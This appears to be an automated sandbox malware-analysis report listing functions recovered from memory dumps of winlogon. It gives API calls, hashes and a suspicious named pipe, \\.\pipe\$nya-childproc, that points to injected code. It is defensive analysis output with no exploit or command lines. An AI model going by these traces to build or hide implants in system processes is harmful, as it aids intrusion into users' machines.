\\.\pipe\$nya-childproc, xrefs: 000001CA7D292549

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\$nya-childproc
API String ID: 166002920-3933612297
Opcode ID: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction ID: b17e47fd4f1449c8d4acc04e3621050a468f068c5ba762e4a054dfaa74389b3f
Opcode Fuzzy Hash: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction Fuzzy Hash: BA116D32A18B5482F7118B21F41479B7760FB88BA8F944215EA5906AA8DF3DC146CBC2

Function 000001CA7D212518 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001CA7D21252D
GetCurrentProcessId.KERNEL32 ref: 000001CA7D212537
CreateFileW.KERNEL32 ref: 000001CA7D212568
WriteFile.KERNEL32 ref: 000001CA7D212590
ReadFile.KERNEL32 ref: 000001CA7D2125AF
CloseHandle.KERNEL32 ref: 000001CA7D2125B8

Strings

\\.\pipe\$nya-childproc, xrefs: 000001CA7D212549

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\$nya-childproc
API String ID: 166002920-3933612297
Opcode ID: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction ID: 4ae2b1dd0165a769ae8a6f1806b14cc66bc568eb7fc37f487b2a6e2550b0d5b4
Opcode Fuzzy Hash: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction Fuzzy Hash: 6D117F32A18B4482F7118B21F854B997760FB88BD8FD44314EA5906AA8CF3DC146CBC6

Function 000001CA7D1E2518 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001CA7D1E252D
GetCurrentProcessId.KERNEL32 ref: 000001CA7D1E2537
CreateFileW.KERNEL32 ref: 000001CA7D1E2568
WriteFile.KERNEL32 ref: 000001CA7D1E2590
ReadFile.KERNEL32 ref: 000001CA7D1E25AF
CloseHandle.KERNEL32 ref: 000001CA7D1E25B8

Strings

\\.\pipe\$nya-childproc, xrefs: 000001CA7D1E2549

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\$nya-childproc
API String ID: 166002920-3933612297
Opcode ID: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction ID: 60ccf5d49717dcd0a93c838fa48479b51da98688de155bc44fd090f9c66e7f12
Opcode Fuzzy Hash: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction Fuzzy Hash: 0E117C32A15B4482F7118B21F464B9A7760FB88BD8F940314EA5942AA8DF3DC145CB86

Function 000001CA7D297C50 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001CA7D297C78
__scrt_acquire_startup_lock.LIBCMT ref: 000001CA7D297CCA
_RTC_Initialize.LIBCMT ref: 000001CA7D297CF8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001CA7D297D1E
__scrt_release_startup_lock.LIBCMT ref: 000001CA7D297D49

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: c017a9effcea72d85198735e9016d59a6dfb2979d59511daea1fd325c26afa1d
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: BF81D373E8034846FA53AB659441FD97290BF8578EFC840259A8877396DB3BC84787C3

Function 000001CA7D217C50 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001CA7D217C78
__scrt_acquire_startup_lock.LIBCMT ref: 000001CA7D217CCA
_RTC_Initialize.LIBCMT ref: 000001CA7D217CF8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001CA7D217D1E
__scrt_release_startup_lock.LIBCMT ref: 000001CA7D217D49

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: 2ef598056096b3bfdeabdf0bab39421e006454b166941b32e9cc3945e4c11726
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: AB817133E8034C96FA52AB659481BD97291BFC578CFD4C02DA98947796DB3BC84782C3

Function 000001CA7D1E7C50 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001CA7D1E7C78
__scrt_acquire_startup_lock.LIBCMT ref: 000001CA7D1E7CCA
_RTC_Initialize.LIBCMT ref: 000001CA7D1E7CF8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001CA7D1E7D1E
__scrt_release_startup_lock.LIBCMT ref: 000001CA7D1E7D49

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: 160e4b4da880ada073ff2f6592a37a3a82ede2845789ae4f7ceb2b1831bb5f15
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: 4581E533E8034D46FA53AB659441FE97291BF8578EFC44114A98947796EB3BC846C3C3

Function 000001CA7D1B7050 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001CA7D1B7078
__scrt_acquire_startup_lock.LIBCMT ref: 000001CA7D1B70CA
_RTC_Initialize.LIBCMT ref: 000001CA7D1B70F8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001CA7D1B711E
__scrt_release_startup_lock.LIBCMT ref: 000001CA7D1B7149

Memory Dump Source

Source File: 0000000F.00000003.1645690785.000001CA7D1B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001CA7D1B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_3_1ca7d1b0000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: 24616cbd0e12550494a136588df692ffe9cf0816aba21efa28764c3b263d334b
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: 8881CF73F8434C46FA53AB6D9841BD93291BF8678CFD45025998C47396DA3BC882C783

Function 000001CA7D299AAC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,000001CA7D299C6B,?,?,?,000001CA7D29945C,?,?,?,?,000001CA7D298F65), ref: 000001CA7D299B31
GetLastError.KERNEL32(?,?,?,000001CA7D299C6B,?,?,?,000001CA7D29945C,?,?,?,?,000001CA7D298F65), ref: 000001CA7D299B3F
LoadLibraryExW.KERNEL32(?,?,?,000001CA7D299C6B,?,?,?,000001CA7D29945C,?,?,?,?,000001CA7D298F65), ref: 000001CA7D299B69
FreeLibrary.KERNEL32(?,?,?,000001CA7D299C6B,?,?,?,000001CA7D29945C,?,?,?,?,000001CA7D298F65), ref: 000001CA7D299BD7
GetProcAddress.KERNEL32(?,?,?,000001CA7D299C6B,?,?,?,000001CA7D29945C,?,?,?,?,000001CA7D298F65), ref: 000001CA7D299BE3

Strings

api-ms-, xrefs: 000001CA7D299B51

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction ID: 45fd29a1b6800a1b48e2dad99402234d17b04da49f1f4772e7c302736c8b9013
Opcode Fuzzy Hash: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction Fuzzy Hash: 1531B073A5270881FE13DB069810BE63398FF88BA9FA915249D1D5A794DA3EC44683C3

Function 000001CA7D219AAC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,000001CA7D219C6B,?,?,?,000001CA7D21945C,?,?,?,?,000001CA7D218F65), ref: 000001CA7D219B31
GetLastError.KERNEL32(?,?,?,000001CA7D219C6B,?,?,?,000001CA7D21945C,?,?,?,?,000001CA7D218F65), ref: 000001CA7D219B3F
LoadLibraryExW.KERNEL32(?,?,?,000001CA7D219C6B,?,?,?,000001CA7D21945C,?,?,?,?,000001CA7D218F65), ref: 000001CA7D219B69
FreeLibrary.KERNEL32(?,?,?,000001CA7D219C6B,?,?,?,000001CA7D21945C,?,?,?,?,000001CA7D218F65), ref: 000001CA7D219BD7
GetProcAddress.KERNEL32(?,?,?,000001CA7D219C6B,?,?,?,000001CA7D21945C,?,?,?,?,000001CA7D218F65), ref: 000001CA7D219BE3

Strings

api-ms-, xrefs: 000001CA7D219B51

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction ID: 913e52812023985531484c69a56f4c057774ccded8e0e9709dbdd399596a43e9
Opcode Fuzzy Hash: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction Fuzzy Hash: 0731A333A5274881FE13DB069800BE53395BF44BA8FA98528AD2946794DE3BD54683C3

Function 000001CA7D1E9AAC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,000001CA7D1E9C6B,?,?,?,000001CA7D1E945C,?,?,?,?,000001CA7D1E8F65), ref: 000001CA7D1E9B31
GetLastError.KERNEL32(?,?,?,000001CA7D1E9C6B,?,?,?,000001CA7D1E945C,?,?,?,?,000001CA7D1E8F65), ref: 000001CA7D1E9B3F
LoadLibraryExW.KERNEL32(?,?,?,000001CA7D1E9C6B,?,?,?,000001CA7D1E945C,?,?,?,?,000001CA7D1E8F65), ref: 000001CA7D1E9B69
FreeLibrary.KERNEL32(?,?,?,000001CA7D1E9C6B,?,?,?,000001CA7D1E945C,?,?,?,?,000001CA7D1E8F65), ref: 000001CA7D1E9BD7
GetProcAddress.KERNEL32(?,?,?,000001CA7D1E9C6B,?,?,?,000001CA7D1E945C,?,?,?,?,000001CA7D1E8F65), ref: 000001CA7D1E9BE3

Strings

api-ms-, xrefs: 000001CA7D1E9B51

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction ID: e67ff9930da721277ed07b841fc38b7938dfad7609e3bd6cb6fbc50ffe571c68
Opcode Fuzzy Hash: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction Fuzzy Hash: C331B033A5674881FE139B429800FE53394FF44BA9F990624DD194B794EF3AC4448393

Function 000001CA7D2A3400 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001CA7D2A3431
GetLastError.KERNEL32 ref: 000001CA7D2A343D
CloseHandle.KERNEL32 ref: 000001CA7D2A3455
CreateFileW.KERNEL32 ref: 000001CA7D2A3480
WriteConsoleW.KERNEL32 ref: 000001CA7D2A349F

Strings

CONOUT$, xrefs: 000001CA7D2A3461

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction ID: 629538001b049afcf998d84a33afb03470eae8d162f95f7716f0bf9cb29571b7
Opcode Fuzzy Hash: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction Fuzzy Hash: 99119333B54B4482F7528B52E854B5A76A0FBC8BE8F844214EE5D8BB94DF7AC40587C2

Function 000001CA7D223400 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001CA7D223431
GetLastError.KERNEL32 ref: 000001CA7D22343D
CloseHandle.KERNEL32 ref: 000001CA7D223455
CreateFileW.KERNEL32 ref: 000001CA7D223480
WriteConsoleW.KERNEL32 ref: 000001CA7D22349F

Strings

CONOUT$, xrefs: 000001CA7D223461

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction ID: 8aae48f47a9bb66e9edd86841ba13e019cb2a79eb4afd0458ea2895297c6a3c3
Opcode Fuzzy Hash: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction Fuzzy Hash: 8511B132B54B4482F3528B52F854B5976A4FB88BE8F814214EA5D87B94CF3AC50187C6

Function 000001CA7D1F3400 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001CA7D1F3431
GetLastError.KERNEL32 ref: 000001CA7D1F343D
CloseHandle.KERNEL32 ref: 000001CA7D1F3455
CreateFileW.KERNEL32 ref: 000001CA7D1F3480
WriteConsoleW.KERNEL32 ref: 000001CA7D1F349F

Strings

CONOUT$, xrefs: 000001CA7D1F3461

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction ID: 05e9dde98ab0eb027feff401db16e6f2a0fc78696a85aafa316188426943b24b
Opcode Fuzzy Hash: 42a144b3d0c2ce880bdd00bf22acff5208f3dd7a422955a941dc6bc7111c5e61
Instruction Fuzzy Hash: AE119332B50B4482F7528B52E854B9976A0FB88BE8F844214EE5E87B94DF3AC50487C6

Function 000001CA7D296270 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001CA7D2962AB
GetThreadContext.KERNEL32 ref: 000001CA7D296415

Part of subcall function 000001CA7D2960A0: GetCurrentThreadId.KERNEL32 ref: 000001CA7D2960A4

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: b08b5ce39edb43236479958ddd03c6d1f6838080b2cf9501a19bb2138673ce94
Instruction ID: 3ffafa6e12e7f3b91adaa85c96a8f4b7dc5847d6796292c8cf60de481045626f
Opcode Fuzzy Hash: b08b5ce39edb43236479958ddd03c6d1f6838080b2cf9501a19bb2138673ce94
Instruction Fuzzy Hash: 21D1EC37644B8C81EA71DB0AE49079A77A0FBC8B89F500112EACD577A5DF3DC542CB86

Function 000001CA7D216270 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001CA7D2162AB
GetThreadContext.KERNEL32 ref: 000001CA7D216415

Part of subcall function 000001CA7D2160A0: GetCurrentThreadId.KERNEL32 ref: 000001CA7D2160A4

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: b08b5ce39edb43236479958ddd03c6d1f6838080b2cf9501a19bb2138673ce94
Instruction ID: 813dea70fcca1b133d49793039452a6eb6565c05de3bdde15a2486de481bcc61
Opcode Fuzzy Hash: b08b5ce39edb43236479958ddd03c6d1f6838080b2cf9501a19bb2138673ce94
Instruction Fuzzy Hash: A1D1CA37644B8C81EA71DB0AE49079E77A0F788B89F504116EACD477A4CF3EC542CB86

Function 000001CA7D292098 Relevance: 9.1, APIs: 6, Instructions: 113threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 000001CA7D2920A6
TlsFree.KERNEL32 ref: 000001CA7D29225F
TlsFree.KERNEL32 ref: 000001CA7D29226B
TlsFree.KERNEL32 ref: 000001CA7D292277
TlsFree.KERNEL32 ref: 000001CA7D292283
TlsFree.KERNEL32 ref: 000001CA7D29228F

Part of subcall function 000001CA7D295E50: GetCurrentThreadId.KERNEL32 ref: 000001CA7D295E66

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: Free$CurrentThread
String ID:
API String ID: 564911740-0
Opcode ID: d3c28f796396b1edcf9deeb44a5a84d122c2fcfc0f762368ef43e6e6c9edfbab
